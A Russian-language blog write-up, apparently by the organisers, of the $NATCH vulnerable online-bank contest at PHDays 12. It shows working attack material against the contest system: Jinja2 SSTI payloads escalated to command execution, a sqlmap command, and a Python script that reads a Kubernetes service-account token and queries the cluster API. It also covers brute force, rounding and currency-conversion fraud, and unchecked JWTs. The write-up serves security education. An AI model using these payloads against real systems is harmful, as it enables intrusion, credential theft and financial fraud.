Всем привет! Если помните, в этом году Positive Hack Days 12 предстал перед нами в новом формате: помимо традиционной закрытой зоны появилось доступное для всех публичное пространство — кибергород, где посетители узнали, как не стать жертвами мошенников на маркетплейсах, а также об особенностях ChatGPT, выборе безопасного VPN и других аспектах ИТ и ИБ. Неизменной частью киберфестиваля остались его конкурсы. Один из них — конкурс по поиску уязвимостей в онлайн-банке. Год назад мы захотели попробовать новый формат в виде Payment Village, но в этот раз решили вернуться к истокам — конкурсу $NATCH, применив новую концепцию! Белым хакерам мы предложили испытать на прочность созданную для конкурса банковскую экосистему (нет, последнее слово не оговорка, но об этом поговорим позже). Специалисты по информационной безопасности искали банковские (и не только) уязвимости в предоставленной системе и сдавали отчеты через багбаунти-платформу, затем организаторы оценивали найденные уязвимости и присваивали им соответствующий уровень опасности — мы хотели, чтобы участники почувствовали себя настоящими исследователями безопасности.
Под катом наш подробный рассказ о том, что из этого вышло, какие баги мы заложили в онлайн-банк в этом году, а какие были рождены нашими кривыми руками.
Структура, или Как все создавалось
В этот раз мы учли собственные ошибки, пожелания участников, приправили все это нашим видением развития конкурса и коренным образом переработали то, что было год назад. Очень хотелось дать возможность участникам «пощупать» не только «онлайн-банк в вебе и все», но и экосистему банка, похожую на реальную.
Помимо онлайн-банка, в банковскую экосистему конкурса $NATCH входили уязвимые мобильное приложение к нему, а также банкомат. Разборы заданий с ними можно прочитать здесь и тут.
А еще спешим напомнить, что всего лишь два дня осталось до начала Moscow Hacking Week. Такого вы еще точно не видели, так что отмечайте дни в календаре и вовремя включайте трансляции.
???? 18–19 ноября — Standoff 101, лекции, вебинары и воркшопы для начинающих багхантеров, пентестеров, атакующих, защитников и прочих специалистов по кибербезопасности, которым профи подскажут, как легко влиться в профессию.
⚔️ 21–24 ноября — четыре дня кибербитвы Standoff 12 на полностью обновленном полигоне: 140 возможных негативных сценариев, новый космический сегмент, возможность для защитников не просто расследовать инциденты, но и останавливать атаки. А для зрителей — интерактив по максимуму.
???? 24–25 ноября — митап Standoff Talks для профи и энтузиастов кибербезопасности: только самые актуальные темы, обмен опытом и крутые докладчики.
???? 26 ноября — приватный ивент для лучших багхантеров Standoff Hacks (да, не будет даже трансляции).
Добавляйте напоминалки и ни в коем случае не переключайтесь????
Из монолитного WAR-файла систему перевели на микросервисы, написанные на самых разных языках программирования (например, Golang, Java, Python, C Sharp). Каждый из микросервисов взял на себя отдельную роль в созданной системе и при этом общался с другими микросервисами. Участники могли их и не заметить, потому что микросервисы были спрятаны за прокси-сервером (Nginx).
В прошлый раз мы все запускали в контейнерах, собирали и поднимали их вручную. Всего было три контейнера: приложение банка (большой WAR-файл), база данных (postgres) и хранилище сессий (redis). В этом году каждый микросервис был поднят в собственном контейнере внутри кластера Kubernetes. Чтобы удовлетворить интерес участников «а как же оно там внутри?», делимся схемой экосистемы нашего банка.
Пару слов о подготовке конкурса: желание сделать интересно за небольшой срок привело к тому, что все увидели во время конкурса: неподнятый фронт, частые ошибки 500, редкое, но все же пропадающее соединение с банком и многое другое. Амбициозная задача сделать не просто эмулятор банка, а полноценную систему с процессингом оказалась слишком большой, но мы все же попытались дать ее вам.
Почему это произошло? Готовя систему, мы прошли и неправильный agile, и отсутствие моков и тестов местами. Под конец разработки банка решили не проводить аудит вновь появляющихся систем server-side, ведь так даже интереснее: самим прочувствовать, как рождаются баги, а также дать участникам выбор и простор для действий.
Уязвимости
Ошибки округления
Начнем с самой любимой всеми банковской уязвимости — ошибки округления. В стандартном виде это происходит так: ищем другую валюту, подбираем минимальную сумму, например в копейках, которая при округлении по курсу должна дать 1 цент, и делаем перевод. А если округление сделать верным, но дать возможность участникам поиграть со знаком после запятой? Попробуем это сделать.
На испытуемом аккаунте есть несколько счетов, два из которых — рублевые. Годится!
Лайфхак, позволяющий понять, какая валюта у счета: номер каждого банковского счета не случаен и состоит из набора цифр. Каждая из них имеет определенное значение для систем банка. Не будем вдаваться в технические подробности, оставим ссылку на материал. Для разбора уязвимости понадобятся шестая, седьмая и восьмая цифры счета, они и указывают на валюту (например, 810). По классификации Международной организации по стандартизации (ISO) эти цифры означают, что счет рублевый.
Выписываем и запоминаем выбранные счета:
1) 40817810300010191719 (0 рублей);
2) 40817810900019558711 (2000 рублей).
Попробуем проверить, есть ли возможность округления в одновалютных счетах «большой» дробью.
Увы, система контролирует это и не позволяет нам делать плохие вещи. Но везде ли она контролирует? Попробуем сделать перевод с карты на карту, но для начала отметим, какие карты какому счету соответствуют:
40817810300010191719 — 1234562014929667;
40817810900019558711 — 1234567832063070.
Попробуем перевести положительную сумму с ну о-о-о-о-очень большой дробной частью ????
Бинго! Система успешно приняла такой перевод. Посмотрим, что же вышло на счетах в итоге.
Даже последние цифры дробных частей сумм на счетах вызывают вопросы: как при вычитании пяти получилось семь? Рассмотрим детальнее цифры: на счете …711 у нас 1999,5555555555557, а на втором — 0,4444444444444445. В тексте плохо видно различие, представим в виде столбика:
1999.5555555555557
0000.4444444444444445
То есть вместо желаемых
мы получили 0,4444444444444445, что на 0,0000000000001445 больше нужной суммы. Вернем сумму, которую переводили в первый раз на изначальный счет и получим следующее.
Наш профит составил две десятитриллионные — и это всего лишь за две операции. Ошибка в вычислениях системы привела к получению такой маленькой выгоды. А если ее масштабировать, добавив третий счет, куда будет выводиться получаемая выгода? А если учесть, что такие переводы банк не облагает комиссией на любые суммы?
Так, сочетание одной ошибки в системе и предложения банка переводить деньги без комиссии приводит к тому, что можно зарабатывать огромные деньги маленькими шажками ????
Отсутствие ограничений на отправку запросов
В первую очередь багхантер при исследовании онлайн-банка проверяет, контролирует ли банк количество запросов, совершаемых пользователем. Если ограничения нет, злоумышленник может выполнить брутфорс формы логина.
Исследователь безопасности видит, что в онлайн-банке можно подобрать логин и пароль, при этом нет ни ограничений на подбор данных, ни двухфакторной защиты — просто сказка! Пробуем упростить задачу и поискать существующие логины в системе. Если быть достаточно внимательным, можно заметить, что, когда пользователи оставляют комментарии на новостном портале банка, указываются и их логины.
Отлично! Мы облегчили задачу и можем не перебирать потенциально возможные варианты, а составить список из точно существующих. Пробуем по словарю RockYou подобрать данные пользователя tester1. Для этого воспользуемся инструментом Intruder, входящим в Burp Suite. Выставляем параметром атаки поле пароля.
Далее настраиваем полезную нагрузку на подстановку паролей из словаря rockyou.txt.
Все, параметры выставлены — запускаем!
Как видим на скриншотах, атака идет успешно и очень быстро. Система никак не пытается препятствовать злоумышленнику в его переборе паролей.
А вот и результат: мы получили пароль от аккаунта реального пользователя в системе!
Server-side template injection (SSTI)
Сервисы банка, отвечающие за его основную функциональность, как правило, проверяются на безопасность чуть ли не под микроскопом, и в них сложно найти значимые уязвимости. Но нынешнее время требует от банков развиваться и добавлять новые сервисы и возможности в свои системы. Нередко банки не сами разрабатывают эти сервисы, а используют сторонние решения, которые интегрируются в банковскую экосистему. Но чем больше становится набор, тем сложнее уследить за ним.
В банке, который был представлен участникам для исследования на PHDays 12, таким сервисом оказалось новостное приложение. Оно позволяло читать новости, а зарегистрированным участникам еще и оставлять комментарии под ними. А что, если с этот сервис увидел бы нехороший человек с особыми навыками?
Не будем ходить вокруг да около, мучая вас отправкой полезной нагрузки XSS и других уязвимостей, и перейдем сразу к делу. Пробуем полезную нагрузку SSTI для крайне популярного Jinja2.
Вуаля — сработало!
У непогруженных читателей может возникнуть вопрос: «Ну вот можем мы теперь за счет банка чиселки умножать, и что?» На этот вопрос мы ответим чуть ниже, рассказав про RCE-уязвимость в этом «калькуляторе»????
SQLInj
Казалось бы, системы банков прошли долгую эволюцию, неоднократно атаковались злоумышленниками и должны быть сильно защищены хотя бы от базовых угроз. Банки постоянно развиваются, дорабатывают свои системы и добавляют в них новые возможности. И не всегда новый набор функций безопасен. Одной из таких уязвимостей может быть SQL-инъекция. Пробуем проверить защищенность конкурсного онлайн-банка и провести такую атаку. Для этого берем запрос для проведения платежа по реквизитам.
Сохраняем его в файл sqling.req и передаем в sqlmap:
sqlmap -r sqling.req --level 5 -p Purpose
Как видно на скриншотах, SQL-инъекция оказалась c типом time-based blind. Сложность эксплуатации этой уязвимости заключалась в том, что размер поля Purpose был ограничен по длине принимаемой строки, а также были ограничения у фреймворка, выполняющего запросы.
Remote code execution
Одним из очень важных рисков для банков является проникновение злоумышленников в систему. Имея возможность исполнять свой код внутри банка, атакующий может попытаться расширить свое присутствие, закрепиться и захватить систему — это недопустимо для финансовой организации.
Ранее мы рассмотрели пару уязвимостей, которые могут привести к удаленному исполнению кода. Теперь возьмем за основу SSTI-уязвимость, попробуем готовую полезную нагрузку с одного известного сайта:
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
Приложение не пропустило наш комментарий. Досадно, но не беда!
Пробуем изучить, что нам доступно через эту уязвимость. Вводим:
{{ dict.mro()[1].subclasses() }}
Получаем «простыню» из доступных классов.
Много, плохо читаемо и малопонятно. Но стоит поискать в этом огромном тексте интересные возможности, которые могут быть доступны багхантерам.
Бинго! Нам доступен Popen из subprocess. Воспользуемся этим и попробуем сократить полезную нагрузку, а также выполнить команду.
Методом проб и ошибок получаем доступ именно к этому объекту в массиве с классами со следующим пейлоадом:
{{ dict.mro()[1].__subclasses__()[536] }}
Вызываем Popen и исполняем код на узле с сервисом новостей со следующей полезной нагрузкой:
{{ dict.mro()[1].__subclasses__()[536]('whoami',shell=True,stdout=-1).communicate()[0].strip() }}
Полезная нагрузка сработала, а вместе с ней мы обнаружили и «говорящие» переменные окружения контейнеров.
Control plane
Если проанализировать переменные окружения, которые получилось извлечь в разделе RCE-уязвимости, то внимание привлекают переменные окружения с именами вроде KUBERNETES. Становится понятно, что изучаемое приложение (а может и вся система банка, кто знает, кто знает…) работает внутри контейнеров в Kubernetes. Получается, была найдена RCE-уязвимость внутри контейнера. Что ж, добудем себе корону в системе ????
Для демонстрации возможности и упрощения показа был прокинут реверс-шелл внутрь контейнера через RCE-уязвимость.
Сначала вернемся к тому, что нам уже известно, и посмотрим на переменные.
Да, мы точно в Kubernetes. Это значит, что мы можем попробовать обратиться в панель управления кластера.
Так как это — контейнер, то не всегда в нем будет возможность обратиться к кластеру
с помощью удобных инструментов и мануалов, например, как тут. Давайте для обращения к control plane напишем простой скрипт на Python:
#!/usr/local/bin/python3
import requests as rq
import os
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning
rq.packages.urllib3.disable_warnings(InsecureRequestWarning)
APISERVER = 'https://kubernetes.default.svc'
SERVICEACCOUNT = '/var/run/secrets/kubernetes.io/serviceaccount'
NAMESPACE = None
TOKEN = None
CACERT = SERVICEACCOUNT + '/ca.cert'
with open(SERVICEACCOUNT + '/namespace', 'r') as r:
NAMESPACE = r.read()
with open(SERVICEACCOUNT + '/token', 'r') as r:
TOKEN = r.read()
resp = rq.get(APISERVER+'/api'.format(NAMESPACE), headers={"Authorization":"Bearer " + TOKEN}, verify=False)
print('status code:', resp.status_code)
print('Headers:')
for k, v in resp.headers.items():
print(k,":",v)
print('Data:', json.dumps(json.loads(resp.text),indent=2))
Выполним chmod +x ./curl
в записанном скрипте и запустим его.
Отлично, доступ есть, трафик не фильтруется, запросы летают! Идем дальше. Следующим шагом попробуем посмотреть, какие вообще поды запущены в нашем пространстве имен, используя токен.
К сожалению, безуспешно. Но если вчитаться в ответ API-сервера, то становится понятно, что наша роль default не имеет прав на получение списка подов в кластере. Но это не повод отчаиваться и бросать начатое. Нужно поискать service account token с нужными полномочиями. Для этого можно попробовать посмотреть вокруг контейнера: что работает по соседству, что ему доступно.
Не будем растягивать статью и лишать читателей несложного, но все же познавательного поиска нужного токена, поскольку описываемая уязвимость не совсем про это, а сразу перейдем к этапу, где токен уже нами получен и мы можем его использовать ????
Немного изменим изначальный скрипт:
#!/usr/local/bin/python3
import requests as rq
import os
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning
rq.packages.urllib3.disable_warnings(InsecureRequestWarning)
APISERVER = 'https://kubernetes.default.svc'
SERVICEACCOUNT = '/var/run/secrets/kubernetes.io/serviceaccount'
NAMESPACE = None
TOKEN = None
CACERT = SERVICEACCOUNT + '/ca.cert'
with open(SERVICEACCOUNT + '/namespace', 'r') as r:
NAMESPACE = r.read()
TOKEN=’<found_token>’
resp = rq.get(APISERVER+'/api/v1/namespaces/{}/pods'.format(NAMESPACE), headers={"Authorization":"Bearer " + TOKEN}, verify=False)
print('status code:', resp.status_code)
print('Headers:')
for k, v in resp.headers.items():
print(k,":",v)
print('Data:', json.dumps(json.loads(resp.text),indent=2))
Выполним скрипт с новым токеном.
Бинго! Control plane ответил нам, прислав список всех контейнеров, которые запущены в нашем namespace в кластере.
А теперь представьте, что похожая уязвимость допущена в инфраструктуре реального банка, а у используемого service account token есть права не только на ‘list’ в кластере, а еще на ‘create’, ’delete’ и так далее.
Нам очень хотелось продемонстрировать участникам, что и такие уязвимости бывают в крупных системах. Однако мы не хотели допустить, чтобы недобросовестные участники (если таковые найдутся) могли испортить жизнь остальным, поэтому оставленному в системе токену мы дали права только на чтение ????
Крит, но не крит
Cross-site scripting (XSS)
При разработке онлайн-банка мы не могли не заложить эту уязвимость. В приложении отсутствовала санитизация данных (почти). Участники могли отправлять какие угодно запросы и куда хочется, например подставить <script>alert(1);</script>
в Purpose платежа по реквизитам. Эта полезная нагрузка отправлялась жертве.
Она отображалась полным текстом, и даже сервер присылал все как надо однако уязвимость не срабатывала. Почему? Санитизация данных происходила на клиенте и попадала в код страницы после прохождения валидации. Почему на это стоит обратить внимание багхантерам? Любые системы, в том числе и банковские, постоянно обновляются. Если будет обновлена клиентская часть приложения, но пропущен апдейт валидации, может «выстрелить» XSS-уязвимость.
Cross-origin resource sharing (CORS)
Иногда даже в реальных банках встречаются ошибки в CORS-политике. Политика разрешения доступа к ресурсам с помощью символа «*» может представлять риск для безопасности, так как позволяет злоумышленникам выполнять запросы от имени доверенных пользователей и получать доступ к конфиденциальным данным. В CORS-политике онлайн-банке на PHDays 12 мы специально допустили ошибку.
Незаложенные баги
Получая от участников репорты о багах, которые не были специально заложены в онлайн-банк, мы всей командой испытывали широчайший диапазон чувств от:
до:
Предлагаем разобрать несколько уязвимостей, которые нас сильно впечатлили.
В CtC забыли конвертор валют
Большим удивлением для нас стало то, что переводы между разновалютными картами конвертировались один к одному (например, 1000 рублей можно было поменять на 1000 долларов). Эта ошибка оказалась не самой простой, что сильно осложнило ее анализ.
Получаем начальное состояние валютных счетов (доллары и юани).
Карты на счетах:
карта первого счета (40817840500013188968): 1234567208961015;
карта второго счета (40817156500016127212): 1234565023335345.
Пробуем выполнить перевод c USD-карты на CNY-карту.
Проверяем результат перевода.
Как мы видим на скриншотах, при переводе 1000 долларов на карту было начислено 1000 юаней, что уже говорит о критически опасной ошибке в системе. Может, это работает только с валютами, курс которых ниже курса валюты-источника? Пробуем провести операцию в обратную сторону.
Проверяем результат обработки платежа.
Как видим, эта уязвимость работает в обе стороны. Следовательно, можно за счет любой более дешевой валюты, чем целевая, «накручивать» себе деньги. К примеру, в реальном онлайн-банке злоумышленник мог бы покупать рубли, с помощью эксплуатации этой уязвимости конвертировать их один к одному в евро, а затем снова покупать рубли за евро. И так круг за кругом, пока не получит нужную сумму.
В куки токен авторизации сами ставим
Это демонстрирует результат работы agile-практик и нескольких, разделенных по задачам подкоманд. Для авторизации пользователя сервер требовал заголовок запроса Authorization, что отличалось от практик, привычных для нашей группы фронтенда. Чтобы выполнять требования сервера, они решили помещать его ответ с токенами авторизации в куки, а после брать из них нужные значения и подставлять их в куки.
Это происходило следующим образом.
Логинимся под реальным пользователем системы и получаем токены авторизации.
Как видим из следующей картинки, весь JSON, присланный сервером, помещается в куки.
Почему эта особенность системы попала в раздел с незаложенными багами? Ранее мы говорили про потенциальную XSS-уязвимость, в случае если эта практика останется в клиентской части, то, когда появится возможность провести XSS-атаку, злоумышленник сможет похитить данные авторизации пользователя и получить доступ к его аккаунту. Надо исправлять.
Забываем проверять валидность токена
Эту уязвимость мы специально оставили на десерт. Когда получили первый отчет об этой уязвимости, не поверили своим глазам ???? Всю часть, связанную с авторизацией и аутентификацией в онлайн-банке на стороне сервера, мы бережно и кропотливо писали, проверяли каждый фрагмент кода. Сначала мы не поняли, о чем написал участник, который первым нашел этот баг. Казалось, речь шла про сценарий, который невозможно было технически реализовать в системе. Мы вышли на связь с исследователем, чтобы узнать больше деталей. Во время общения он точно указал нам, где нашел слабое место, и предоставил скриншоты с подтверждением.
Суть бага заключалась в следующем: у мобильного API онлайн-банка, как и во всех конкурсных сервисах, была авторизация по токену. Вроде бы все так, как и на другом API того же новостного портала или веб-части банка.
Однако подвох крылся как раз в заголовке, который отвечал за эту авторизацию, если быть точнее — в системе, которая с ним работала. Оказалось, что созданная нами система не проверяла подпись присылаемого ей JWT-токена.
Иначе говоря, если злоумышленнику удастся украсть идентификатор реального пользователя, то он сможет делать что угодно от лица этого пользователя в любое время!
Анализ результата показал, что к таким критически опасным последствиям приводила всего лишь маленькая оплошность, своеобразная ахиллесова пята всего банковского API. Я оставлю ее скриншот здесь ????
Выводы
Несмотря на трудности, возникшие в ходе проведения конкурса, он привлек внимание аудитории к себе. Участники смогли почувствовать себя в роли багхантеров и искали самые разные уязвимости, заложенные в инфраструктуру. Многие доходили до этапа, когда надо было совсем немного докрутить найденный баг, чтобы реализовать критически опасный для сервисов банка сценарий, но останавливались. При этом немалое внимание привлекли переводы денег: участники активно искали способы заработать «виртуальные шекели», а после сдавали отчеты на багбаунти-платформу. Кроме того, конкурс был полезен и для нас, организаторов: багхантеры находили ошибки, которые мы не закладывали.
Проанализировав результаты конкурса, мы сделали выводы о том, как сделать его лучше и интереснее для участников в следующем году! Кстати, он до сих пор доступен для прорешивания. Вперед, если не сомневаетесь в своих скилах.
Автор в Telegram: @geralt_iz_rivii
olegtsss
`Иногда даже в реальных банках встречаются ошибки в CORS-политике...` - CORS политики для работы фронта. Аудитор будет отправлять запросы напрямую на API, без CORS заголовков, и все у него будет работать)